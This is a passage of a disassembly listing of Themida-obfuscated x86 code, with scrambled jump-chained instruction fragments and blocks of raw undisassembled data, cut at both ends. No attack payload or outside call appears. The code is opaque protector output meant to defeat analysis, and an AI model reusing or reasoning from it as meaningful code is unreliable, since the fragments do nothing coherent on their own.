		dd 0FFFF5146h, 0E95DEA89h, 0FFFF7D09h, 242C3166h, 242C3366h
		dd 242C3166h, 7E536866h, 242C8966h, 0F066866h, 240C8966h
		dd 8B665D66h, 8953240Ch, 4B951E3h, 1000000h, 3DE959CBh
		dd 57FFFFC3h, 0FF8759E9h, 51C601FFh, 3061DBB9h,	3AE18120h
		dd 81331414h, 82FC3AE9h, 59CE01ECh, 502EBA52h, 0E2C168AFh
		dd 4AD2F702h, 5104EAC1h, 0FFD06DE9h, 4C181FFh, 68000000h
		dd 6DC2h, 50241C89h, 249A6852h,	815A4F29h, 6DE0D9C2h, 4EC83F4h
		dd 0FF9458E9h, 0D1E95CFFh, 89FFFF75h, 4BF57E3h,	1000000h
		dd 87CFE9FBh, 0C128FFFFh, 0FF5DE0E9h, 32B850FFh, 551582Bh
		dd 0FFFFFFFFh, 2B303540h, 0C2895158h, 5AD00158h, 8B240487h
		dd 8B662424h, 0EC83240Ch, 24348904h, 39E95E54h,	81FFFF9Ch
		dd 674268C2h, 14335E6Ah, 0B48DE924h, 0C8BFFFFh,	4C48124h
		dd 80000000h, 0F83094EFh, 83241C8Bh, 436804C4h,	89000051h
		dd 0BEE92414h, 57FFFF69h, 0F989DF89h, 0F9015B5Fh, 24048150h
		dd 46B925DAh, 2981018Fh, 46B925DAh, 55240C8Bh, 0FF9167E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55BA2D:				; CODE XREF: Themida_:0055BD91j
		xor	edi, 3AF85777h
		sub	eax, edi
		pop	edi
		jmp	loc_558932
; ---------------------------------------------------------------------------
		db 89h
		dd 0EB4CE9F7h, 0EA88FFFFh, 0EE686659h, 5620E971h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BA4E:				; CODE XREF: Themida_:00554070j
		sub	edi, 0FF76A793h
		mov	ebx, edi
		pop	edi
		and	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		shr	ecx, 0Ah
		push	11F6h
		jmp	loc_55913B
; ---------------------------------------------------------------------------


loc_55BA6F:				; CODE XREF: Themida_:00559972j
		xor	[esp], ecx
		jmp	loc_559944
; ---------------------------------------------------------------------------
		db 83h
		dd 8B042404h, 0C481243Ch, 4, 4C781h, 0B9510000h, 4, 8759CF29h
		dd 895C243Ch, 0A7E9240Ch, 89FFFF4Fh, 0C78957F8h, 3C8BF989h
		dd 4C48124h, 58000000h,	2E1C15Fh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		mov	ebp, 4C17345Dh
		jmp	loc_55811E
; ---------------------------------------------------------------------------
		dw 0CC68h
		dd 0E900002Fh, 0FFFFA59Ch
; ---------------------------------------------------------------------------


loc_55BAE0:				; CODE XREF: Themida_:0055657Cj
		xor	eax, esi
		not	esi
		push	930h
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], esi
		push	dword ptr [esp]
		jmp	loc_552191
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0FFEC95E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55BB05:				; CODE XREF: Themida_:0055CCE4j
		mov	[esp], edx
		push	esi
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_55CEE0
; ---------------------------------------------------------------------------


loc_55BB14:				; CODE XREF: Themida_:00553E70j
		push	378A6E09h
		pop	eax
		xor	eax, 4C6A7161h
		inc	eax
		and	eax, 78CB369Fh
		push	ecx
		mov	ecx, 78C015E5h
		push	ebp
		mov	ebp, 5DD2D0Bh
		jmp	loc_55598B
; ---------------------------------------------------------------------------


loc_55BB36:				; CODE XREF: Themida_:00559A1Fj
		mov	ebp, ebx
		pop	ebx
		xor	ebp, 0F7911FBh
		sub	ebp, 63EF4BF8h
		jmp	loc_55A50C
; ---------------------------------------------------------------------------
		dw 5146h
		dd 658881B9h, 8BCE01E6h, 0C483240Ch, 0B3A0E904h, 48BFFFFh
		dd 61685624h, 89000077h, 4832424h, 0E95E0424h, 0FFFFAAF1h
		dd 241C8B66h, 0CBF3E955h, 8059FFFFh, 0EC80A1C4h, 0C4801Bh
		dd 58E100h, 240C8BCBh, 4C481h, 0C3000000h, 4EC81h, 4890000h
		dd 8047B424h, 0E32818EBh, 18B050h, 685858C3h, 1292h, 0BE243489h
		dd 3FCh, 56A8BA52h, 0F28169FEh,	5CAA0C02h, 7A4BBA52h, 0E28108B6h
		dd 51D115F1h, 0F281D2F7h, 0ED1B91D3h, 0FFFBAFE9h, 4E6C0FFh
		dd 0FF5714E9h, 5ACE81FFh, 0E934EF03h, 0FFFFC09Fh, 11B3CF81h
		dd 0E947555Eh, 0FFFF9D30h, 0AA98E953h, 0C0FEFFFFh, 0FF50B0E9h
		dd 24248BFFh, 0FF6AB7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55BC15:				; CODE XREF: Themida_:0055400Fj
		push	7F99h
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		push	ebp
		mov	ebp, 747E4D11h
		xor	ebp, 747E4D15h
		jmp	loc_55840A
; ---------------------------------------------------------------------------
		dw 3433h
		dd 5320E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BC3E:				; CODE XREF: Themida_:00550CA8j
		dec	eax
		jmp	loc_55867E
; ---------------------------------------------------------------------------
		dd 48BE530h, 4C48124h, 28000000h, 240C8BE8h, 4C481h, 0EA2C0000h
		dd 0EA04D000h, 0FF7BF5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55BC65:				; CODE XREF: Themida_:0055B8D4j
		push	ecx
		pop	edx
		jmp	loc_559D52
; ---------------------------------------------------------------------------
		dd 41BE6656h, 6EA8E96Dh, 5251FFFFh, 0A24326BAh,	5AD1894Dh
		dd 566FC981h, 0E9C10E8Bh, 0E9505508h, 0FFFF9ABEh
; ---------------------------------------------------------------------------


loc_55BC90:				; CODE XREF: Themida_:00553084j
		push	37514F94h
		pop	edi
		sub	edi, 519953D3h
		push	ecx
		jmp	loc_555639
; ---------------------------------------------------------------------------


loc_55BCA2:				; CODE XREF: Themida_:00556DDAj
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		and	eax, edi
		pop	edi
		or	edx, eax
		shl	edx, 1
		push	6E5Bh
		jmp	loc_5564F9
; ---------------------------------------------------------------------------


loc_55BCBD:				; CODE XREF: Themida_:0055218Cj
		pop	bx
		jmp	loc_555C6E
; ---------------------------------------------------------------------------
		dd 6F5668h, 24348900h, 0D64574BEh, 81DEF72Ch, 0E4383AC6h
		dd 0BD7CE932h, 0E959FFFFh, 0FFFF81A4h, 0E905E3C0h, 0FFFF7123h
		dd 4BD55h, 6C010000h, 0E95D0424h, 0FFFFD92Dh, 66CE0966h
		dd 0EEC16659h, 0CE816602h, 0F768070Fh, 8900002Ah, 0E956240Ch
		dd 423h, 0D07E955h, 0B8500000h,	59F67C2Bh, 9307E0C1h, 3593D3F7h
		dd 3B5AFE83h, 0FFAA5EE9h, 15A52DFFh, 0B9510A99h, 27C53913h
		dd 1FDFE181h, 0F1815329h, 1819FB4Fh, 159C831h, 24048BC7h
		dd 0FFE858E9h, 81E289FFh, 4C2h,	4C28300h, 5C241487h, 4BF57h
		dd 0BB530000h, 583079F1h, 15BDE01h, 0F1B951FEh,	29583079h
		dd 7ADBE9CEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BD86:				; CODE XREF: Themida_:0055AEB8j
		mov	edi, 34534FC9h
		or	edi, 676269E1h
		jmp	loc_55BA2D
; ---------------------------------------------------------------------------
		dw 0E6C1h
		dd 8EEC106h, 7AABF681h,	0EE810DF3h, 0D2C37D57h,	348BF301h
		dd 4C48324h, 0F381DBF7h, 0F745EAAFh, 354CD72Dh,	5D8015Bh
		dd 5B354CD7h, 81241C8Bh, 4C4h, 4C08300h, 0FFBA6BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55BDD5:				; CODE XREF: Themida_:0055408Aj
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_550A46
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 5468240Ch, 590E6004h, 99F5E957h, 0C90DFFFFh
		dd 5786320h, 0F0B4BA01h, 5258C189h, 0DBF178BAh,	5AD089D2h
		dd 70E9C801h, 81FFFFDBh, 261064F5h, 0B0B4E902h,	0D9F6FFFFh
		dd 66A7E980h, 0E934B050h, 0FFFFFB6Ah, 0FF21C781h, 0FE01E4C1h
		dd 0C6814E5Fh, 0E69F027Bh, 565EF201h, 0FFC2E2E9h, 243489FFh
		dd 2BEh, 8BF20100h, 0C4832434h,	24143304h, 33241431h, 248B2414h
		dd 0E749E924h, 0CBE9FFFFh, 88FFFF4Bh, 5AF488CEh, 58E63059h
		dd 148BF588h, 72EFE924h, 85CFFFFh, 0E99C2404h, 0FFFF4BAEh
		dd 0FF4BA9E9h, 0E9CF01FFh, 0EFAh
; ---------------------------------------------------------------------------


loc_55BEA4:				; CODE XREF: Themida_:00558DF9j
		sub	[esp], dl
		jmp	loc_55596D
; ---------------------------------------------------------------------------
		dd 4EC81h, 4890000h, 42236824h,	48B2B30h, 4C48124h, 5000000h
		dd 1, 0FF7E5BE9h, 15D5DFFh, 0FBE959CDh,	66FFFF4Ch, 5624048Bh
		dd 0FF5AC5E9h, 4EC83FFh, 0E9243489h, 0D2Ch, 97C18166h
		dd 0CE31669Fh, 7BDAE959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BEFA:				; CODE XREF: Themida_:0055509Cj
		add	esp, 4
		mov	eax, [esp]
		jmp	loc_5581B5
; ---------------------------------------------------------------------------
		dd 0FAE95759h, 50FFFF7Eh, 1AF1BD55h, 9EB824CAh,	29954764h
		dd 28E95DE8h, 0E9FFFFE2h, 0FFFF4B1Eh, 4C581h, 19680000h
		dd 8900007Bh, 89E9240Ch, 0E9FFFFFDh, 0FFFF4B06h, 0E6D14646h
		dd 0FFFFEE81h, 0EEC1FFFFh, 3DF68108h, 0E9DA9D74h, 0FFFF6C63h
; ---------------------------------------------------------------------------


loc_55BF58:				; CODE XREF: Themida_:00556D12j
		or	edx, eax
		shl	edx, 1
		push	0C67h
		mov	[esp], ebp
		mov	ebp, 1
		push	edx
		jmp	loc_553E6A
; ---------------------------------------------------------------------------
		db 88h
		dd 59EC88D5h, 48BE388h,	4C48124h, 0E9000000h, 0FFFFE3B1h
		dd 532FF681h, 410530ABh, 12B7A15h, 15412DF0h, 0E95E2B7Ah
		dd 0FFFF583Dh, 66F1F766h, 6627C368h, 66241489h,	97E99C50h
		dd 80FFFF4Ah, 0D52067C2h, 0FFED6BE9h, 386203FFh, 0FF954EE9h
		dd 0C8B66FFh, 4EC8324h,	9DAE9h,	0ACEF8100h, 122D409h, 776DE9EFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BFDA:				; CODE XREF: Themida_:0055779Dj
		pop	eax
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	edx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 122A70F5h
		push	7CBFh
		mov	[esp], esi
		jmp	loc_555077
; ---------------------------------------------------------------------------
		dw 0C131h
		dd 34E9C831h, 89FFFF4Ch, 0E9512424h, 0FFFF5B58h
; ---------------------------------------------------------------------------


loc_55C010:				; CODE XREF: Themida_:00557B4Fj
		mov	ebp, 25C027EDh
		xor	edi, ebp
		pop	ebp
		mov	eax, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_552520
; ---------------------------------------------------------------------------
		dd 0F791915Ah, 0CEABE9D1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C032:				; CODE XREF: Themida_:00559EA7j
		add	edi, ecx
		add	edi, 79C9685Bh
		sub	edi, 5434123Fh
		mov	ecx, [esp]
		add	esp, 4
		mov	edx, edi
		pop	edi
		jmp	loc_5579A9
; ---------------------------------------------------------------------------


loc_55C051:				; CODE XREF: Themida_:0055CEE1j
		xor	ebx, edx
		jmp	loc_555262
; ---------------------------------------------------------------------------
		dd 240C875Bh, 6424248Bh, 0DFE90288h
		db 49h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C067:				; CODE XREF: Themida_:00553BEFj
		shl	eax, 8
		xor	eax, 7E566748h
		dec	eax
		sub	eax, 0C316628Ah
		add	ebx, eax
		pop	eax
		pop	edi
		sub	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	61C0h
		mov	[esp], edi
		push	edx
		push	2A451AC1h
		pop	edx
		push	esi
		mov	esi, 0
		sub	esi, 3E8C4EB6h
		sub	esi, edx
		add	esi, 3E8C4EB6h
		xchg	esi, edx
		pop	esi
		push	ecx
		mov	ecx, 92A7C8Bh
		jmp	loc_55ABC1
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 4F682404h, 89000053h, 4EE9240Ch, 53FFFF7Ch, 0FB2ED2BBh
		dd 45CB8179h, 0F77C4702h, 0BAC381D3h, 81645246h, 0ACE822C3h
		dd 0EFACE919h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C0E2:				; CODE XREF: Themida_:00551E5Dj
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_559105
; ---------------------------------------------------------------------------


loc_55C0F4:				; CODE XREF: Themida_:005574DFj
		add	esi, ebp
		jmp	loc_5540BE
; ---------------------------------------------------------------------------


loc_55C0FB:				; CODE XREF: Themida_:00559ED2j
		xchg	edi, ecx
		pop	edi
		push	ecx
		dec	dword ptr [esp]
		pop	ecx
		or	ecx, 71EF3C05h
		or	ecx, 4C7F5E30h
		push	eax
		mov	eax, 0F599A9FAh
		xor	ecx, eax
		pop	eax
		sub	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	ebx, edi
		push	edi
		mov	edi, 866564Fh
		add	ebx, edi
		pop	edi
		mov	ecx, [ebx]
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_552EC0
; ---------------------------------------------------------------------------
		db 66h
		dd 6603DBBEh, 73BEE681h, 63E68166h, 0EEC16656h,	0C6816602h
		dd 2EE93733h, 43FFFFADh, 1BF57h, 0FB010000h, 0FF4EFDE9h
		dd 38C380FFh, 81E18951h, 4C1h, 4BD5500h, 29000000h, 0C875DE9h
		dd 0DDE95C24h, 0B9FFFFE3h, 5A835F3Bh, 5C91BB53h, 0C1813878h
		dd 7197537Bh, 0E981D929h, 7197537Bh, 0E771E95Bh, 9FE9FFFFh
		db 48h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C1A7:				; CODE XREF: Themida_:00552F2Bj
		pop	ecx
		not	edx
		neg	edx
		inc	edx
		push	ebp
		sub	esp, 4
		mov	[esp], ecx
		push	4D1F55CAh
		pop	ecx
		dec	ecx
		sub	ecx, 1
		xchg	esi, ecx
		jmp	loc_552A49
; ---------------------------------------------------------------------------
		dd 8B240C87h, 0E2E92424h, 33FFFFCEh, 15E92404h,	0B8FFFF87h
		dd 74627DE7h, 8B58C301h, 31E92434h
		db 4, 2	dup(0)
; ---------------------------------------------------------------------------


loc_55C1EB:				; CODE XREF: Themida_:00555499j
		xor	ebx, 52BA268Ah
		jmp	loc_550E21
; ---------------------------------------------------------------------------
		dw 0C283h
		dd 9DB6E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C1FE:				; CODE XREF: Themida_:0055B675j
		push	1E4h
		jmp	loc_5516D2
; ---------------------------------------------------------------------------
		dd 0E9240489h, 0FFFFC156h, 4B951h, 4C010000h, 0FF590424h
		dd 148B2434h, 4C48324h,	4C481h,	0C2810000h, 4, 8704C283h
		dd 248B2414h, 946EE924h, 0E980FFFFh, 24C180BEh,	0EBB9E95Bh
		dd 0B850FFFFh, 4, 4244401h, 0FFB655E9h,	6A6855FFh, 5D108707h
		dd 520C581h, 0EDC1343Bh, 0FBB5E905h, 5455FFFFh,	4AE9505Dh
		dd 33FFFF98h, 1C31241Ch, 241C3324h, 0FF24248Bh,	56582434h
		dd 0E9525E54h, 0FFFF631Eh, 47B0E95Ch, 3433FFFFh, 24248B24h
		dd 5E08950h, 4,	0E904E883h, 0FFFF862Ah
; ---------------------------------------------------------------------------


loc_55C2AC:				; CODE XREF: Themida_:0055C74Aj
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		mov	eax, [esp]
		sub	esp, 4
		jmp	loc_559184
; ---------------------------------------------------------------------------
		db 81h
		dd 196E7CE9h, 0ACBD5553h, 12A5200h, 0FBF7E9E9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C2D6:				; CODE XREF: Themida_:00550B71j
		pop	edx
		push	ecx
		jmp	loc_553AC4
; ---------------------------------------------------------------------------
		dd offset dword_41525C+0Ch
		align 2
		dw 3C89h
		dd 3923BF24h, 0EFC12A74h, 0F902E905h, 515BFFFFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_55A31B
; ---------------------------------------------------------------------------
		dd 8904EC83h, 0FCE9241Ch, 0FFFFFFF0h, 669D1C77h, 24041058h
		dd 4730E99Ch, 0EC81FFFFh, 4, 0FFAA67E9h, 80685AFFh, 89000024h
		dd 53BA2414h, 0C178FB04h, 0B95106EAh, 62886EFAh, 2959CA01h
		dd 0A0CBE9D5h, 3C89FFFFh, 4BF24h, 7C010000h, 0A4E90424h
		dd 0B5FFFFB3h, 0E96EB07Bh, 1C5h, 81241C8Bh, 4C4h, 4C38100h
		dd 56000000h, 4BEh, 8BF32900h, 0C4812434h, 4, 0E9241C87h
		dd 0FFFFA23Fh, 8B240487h, 0A30F2424h, 0E99C2404h, 0FFFF46B2h
		dd 0C8BC829h, 4C48324h,	0FF4DEDE9h, 0CDF281FFh,	216FD00Dh
		dd 0EBC15AD3h, 6DE94306h
		db 92h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C3B3:				; CODE XREF: Themida_:00550BAAj
		or	edx, eax
		shl	edx, 1
		jmp	loc_55B24C
; ---------------------------------------------------------------------------


loc_55C3BC:				; CODE XREF: Themida_:0055C670j
		mov	edi, 0A888B031h
		add	edi, ecx
		pop	ecx
		add	eax, edi
		mov	edi, [esp]
		add	esp, 4
		push	dword ptr [edi+eax*4]
		push	4120h
		mov	[esp], esi
		push	6A8Fh
		mov	[esp], ebp
		push	4D6D204Dh
		jmp	loc_555EFA
; ---------------------------------------------------------------------------
		db 0C1h, 0EDh, 3
		dd 0B24F581h, 0C1810505h, 4B0E370Fh, 0E981E901h, 4B0E370Fh
		dd 4C1815Dh, 87000000h,	45E9240Ch, 66FFFFB7h, 0E9242C33h
		dd 0FFFFB0CCh, 4EC835Dh, 0BB241C89h, 35FE6F10h,	90F4C381h
		dd 0DA01CA01h, 0E9241C8Bh, 0FFFFEEF8h, 57240C8Bh, 0C781E789h
		dd 4, 4C781h, 3C870000h, 0C4815C24h, 4,	5BDF68h, 243C8900h
		dd 67DB68h, 0D722E900h,	0BA52FFFFh, 2CC56E10h, 740E94Ah
		dd 0D2F70000h, 35C28142h, 31574779h, 0F3895AD6h, 0E9DE015Eh
		dd 0FFFF85BBh, 626A4BB9h, 0E9BB5360h, 81664055h, 79F179EBh
		dd 5BD92929h, 4244C29h,	0FFDB62E9h, 0E9C288FFh,	0FFFF8960h
		dd 8704C283h, 248B2414h, 0BAED8124h, 293737B0h,	4875DE8h
		dd 89665C24h, 50662414h, 457CE99Ch, 5BBBFFFFh, 0BE19BA5Ah
		dd 28F91424h, 815BDE01h, 49B5DDC6h, 5EF3890Eh, 2414F753h
		dd 55E9435Bh, 89FFFF7Ah, 0B1E92434h, 5BFFFF8Ah,	7889685Bh
		dd 1C890000h, 73B324h, 2434FFD8h, 83241C8Bh, 9DE904C4h
		dd 5BFFFFD8h, 288DBA52h, 0CA814DAAh, 799A3A5Ch,	0FFAA01E9h
		dd 59E828FFh, 0D7885366h, 88C18851h, 0BCE959CAh, 89FFFFCEh
		dd 0BD5556E3h, 753F51C1h, 0F581D5F7h, 7BCB1384h, 0ACED814Dh
		dd 89EC69AFh, 0EEC15DEEh, 558BE906h, 0D25CFFFFh, 0E99C2424h
		dd 0FFFF44E6h
; ---------------------------------------------------------------------------


loc_55C560:				; CODE XREF: Themida_:0055C899j
		push	edx
		mov	dh, 0DEh
		mov	ah, 1Fh
		add	ah, dh
		pop	edx
		push	ecx
		push	ebx
		mov	bh, 98h
		not	bh
		dec	bh
		xor	bh, 0B8h
		mov	ch, bh
		pop	ebx
		jmp	loc_553E43
; ---------------------------------------------------------------------------


loc_55C57B:				; CODE XREF: Themida_:0055A896j
		xor	edx, 33404D0Ch
		push	eax
		jmp	loc_55AEA6
; ---------------------------------------------------------------------------
		db 33h
		dd 665C2404h, 0E9240C89h, 0FFFF44B2h, 6AB7E952h, 0B951FFFFh
		dd 6C1903C6h, 3C2E981h,	0CA016C19h, 0EF07E959h,	0CBB1FFFFh
		dd 0FE73B252h, 88E280CAh, 8057C280h, 0C280C5E2h, 5AD12861h
		dd 804EE980h, 0EC830AE9h, 24148904h, 0D388CA88h, 9A3E9h
		dd 15092D00h, 348B3022h, 4C48324h, 0FFD3F9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55C5E9:				; CODE XREF: Themida_:00555E2Fj
		pop	esi
		push	ecx
		jmp	loc_558E83
; ---------------------------------------------------------------------------
		dd 0F456ED81h, 0E9818268h, 2A5200ACh, 0FF87DBE9h, 1AE95EFFh
		dd 83000005h, 248904ECh, 4BF5724h, 1000000h, 0E904247Ch
		dd 0FFFFAE55h, 2904C483h, 0CEF2E9C3h, 0D901FFFFh, 2C1815Bh
		dd 87000000h, 0E95C240Ch, 0FFFF4AA2h
; ---------------------------------------------------------------------------


loc_55C638:				; CODE XREF: Themida_:005529AFj
		add	ebx, eax
		push	ecx
		mov	ecx, 617F52E6h
		add	ebx, ecx
		jmp	loc_554CAC
; ---------------------------------------------------------------------------
		db 29h
		dd 0A0E95EF3h, 81FFFF4Fh, 4C5h,	0FCA2E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C65A:				; CODE XREF: Themida_:00559731j
		sub	ebx, eax
		jmp	loc_5581F5
; ---------------------------------------------------------------------------


loc_55C661:				; CODE XREF: Themida_:00559E09j
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		pop	eax
		push	edi
		push	ecx
		mov	ecx, 59E46BEBh
		jmp	loc_55C3BC
; ---------------------------------------------------------------------------
		db 33h,	2Ch, 24h
		dd 33242C31h, 535C242Ch, 0C381E389h, 4,	8704EB83h, 0E95C241Ch
		dd 0FFFF7AD9h, 2C1835Bh, 31240C33h, 0C33240Ch, 29665C24h
		dd 0E99C2404h, 0FFFF439Ah, 48F3E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C6B2:				; CODE XREF: Themida_:0055A1B7j
		xor	eax, ebx
		jmp	loc_559FAF
; ---------------------------------------------------------------------------
		db 33h,	34h, 24h
		dd 243C895Ch, 0BB53E789h, 57C72EE9h, 0FFDFB6E9h, 0C1F787FFh
		dd 814F07EFh, 4BABD9C7h, 0E9FA015Bh, 0FFFFF17Ch, 0BD242C89h
		dd 2, 656CC181h, 0E9296292h, 656CE981h,	2C8B6292h, 4EC8324h
		dd 0E9241C89h, 0FFFFADF3h, 0FFFBFCBBh, 5BD901FDh, 19A068h
		dd 0A7A8E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C716:				; CODE XREF: Themida_:0055428Cj
		mov	[esp], ecx
		jmp	loc_5521D2
; ---------------------------------------------------------------------------
		dw 5BAh
		dd 934BF09h, 81495AD1h,	0D8278DE9h, 0BE56417Bh,	571548C8h
		dd 815EF131h, 325A7EE9h, 59CE01ACh, 0B8EDE951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C746:				; CODE XREF: Themida_:005547C6j
		push	ebx
		mov	edx, [esp]
		jmp	loc_55C2AC
; ---------------------------------------------------------------------------
		db 5Ah
		dd 4268EA81h, 0F2016A67h, 0FFF27EE9h, 8E4C0FFh,	23E9C4FEh
		dd 54FFFF4Ch, 0E924048Fh, 0FFFFF57Ch, 0C8B60F66h, 0E9E08950h
		dd 188h, 240C8B66h, 0FF97F4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55C785:				; CODE XREF: Themida_:00558101j
		xchg	ebp, esi
		shr	esi, 7
		sub	esi, 0E85CE10Bh
		add	eax, esi
		push	dword ptr [esp]
		jmp	loc_555AF5
; ---------------------------------------------------------------------------
		dw 0B551h
		dd 0AAED80CBh, 0FFB446E9h, 50F381FFh, 0E95C9A60h, 0FFFF5D51h
; ---------------------------------------------------------------------------


loc_55C7B0:				; CODE XREF: Themida_:00559F82j
		mov	eax, [esp]
		add	esp, 4
		pop	ecx
		add	ecx, 4DC525C2h
		mov	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5580E2
; ---------------------------------------------------------------------------
		db 0Fh
		dd 9C51C8AFh, 0FF4269E9h, 89C281FFh, 2958387Dh,	84E955C2h
		dd 53FFFF5Ah, 0D02ACCBBh, 15CB810Eh, 432E8F13h,	8D4FE943h
		dd 0D129FFFFh, 0FFF823E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55C805:				; CODE XREF: Themida_:0055A606j
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		db 61h
		dd 0FF68FEE9h, 5BDA29FFh, 29F4EE81h, 0D6017390h, 29F4C681h
		dd 148B7390h, 6088E924h, 0F301FFFFh, 0FF5643E9h, 48F5EFFh
		dd 486BE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C83A:				; CODE XREF: Themida_:00557D7Dj
		add	ebx, ebp
		pop	ebp
		jmp	loc_5577AD
; ---------------------------------------------------------------------------


loc_55C842:				; CODE XREF: Themida_:00558B6Dj
		pop	ebx
		add	esp, 4
		push	7B0Dh
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_556D11
; ---------------------------------------------------------------------------


loc_55C864:				; CODE XREF: Themida_:0055252Bj
		add	edx, 4E7940FFh
		or	edx, 45255EACh
		neg	edx
		add	edx, 0E3FC742Ah
		mov	edi, edx
		pop	edx
		and	edi, 641D65BFh
		dec	edi
		push	ebx
		push	edx
		mov	edx, 1F067280h
		mov	ebx, edx
		jmp	loc_554B55
; ---------------------------------------------------------------------------


loc_55C890:				; CODE XREF: Themida_:00558540j
		pop	eax
		pop	ecx
		push	ecx
		mov	ch, 49h
		or	dl, ch
		pop	ecx
		push	eax
		jmp	loc_55C560
; ---------------------------------------------------------------------------


loc_55C89E:				; CODE XREF: Themida_:005584C9j
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_552189
; ---------------------------------------------------------------------------
		db 1, 0CEh, 59h
		dd 0FFE216E9h, 0B4C581FFh, 0E9532E01h, 0FFFFC6ADh
; ---------------------------------------------------------------------------


loc_55C8BC:				; CODE XREF: Themida_:00557127j
		add	esp, 4
		mov	ecx, [esp]
		jmp	loc_551204
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 54502404h, 556BE958h, 0FDB3FFFFh, 0E380D3F6h, 6EBC057h
		dd 0E1895151h, 4C181h, 0E9830000h, 240C8704h, 2404895Ch
		dd 0E3E9AFB4h, 28FFFF57h, 0E9762CD8h, 64Ah, 4133BE56h
		dd 0E6C12599h, 82CE8107h, 5348A733h, 19F4BE56h,	0E6D1793Fh
		dd 0C681DEF7h, 504D6A2Ch, 0FFF2C0E9h, 48B66FFh,	0E3895324h
		dd 0FF4F6CE9h, 66F1F6FFh
		db 0Fh,	0B6h, 0CCh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_55107A
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0FCE92414h, 83FFFFC5h, 815304C4h, 4ECh, 44F8E900h, 3489FFFFh
		dd 0D7B85024h, 0BE046A6Bh, 46A6BD9h, 8158C629h,	903E5BEDh
		dd 0BD55E964h, 8B66FFFFh, 9E68240Ch, 0E9000078h, 0FFFFC14Fh
; ---------------------------------------------------------------------------


loc_55C984:				; CODE XREF: Themida_:0055690Bj
		pop	ebp
		and	ebp, 74EF338Eh
		push	eax
		mov	eax, 298E040Bh
		xor	eax, 7B0611B4h
		inc	eax
		jmp	loc_556FD5
; ---------------------------------------------------------------------------
		dd 0C047F680h, 4CE902EEh, 89FFFF68h, 5A542414h,	909EE957h
		dd 0FE01FFFFh, 4C6835Fh, 5C243487h, 0FF6B56E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55C9C1:				; CODE XREF: Themida_:005570B5j
		mov	ebx, 24F75D55h
		jmp	loc_555174
; ---------------------------------------------------------------------------
		db 5
		dd 1BE040E6h, 83243C8Bh, 43304C4h, 24043124h, 0E9240433h
		dd 0FFFFAAD6h, 5D0268h,	24348900h, 400BEh, 1C770900h, 0E924348Bh
		dd 0FFFF612Dh, 8758C501h, 9DE9242Ch
		db 68h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CA07:				; CODE XREF: Themida_:00554838j
		mov	eax, [esp]
		jmp	loc_559602
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 584DE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CA1A:				; CODE XREF: Themida_:00559950j
		push	edx
		mov	edx, 24487463h
		jmp	loc_551244
; ---------------------------------------------------------------------------
		db 0BDh, 1Ah, 20h
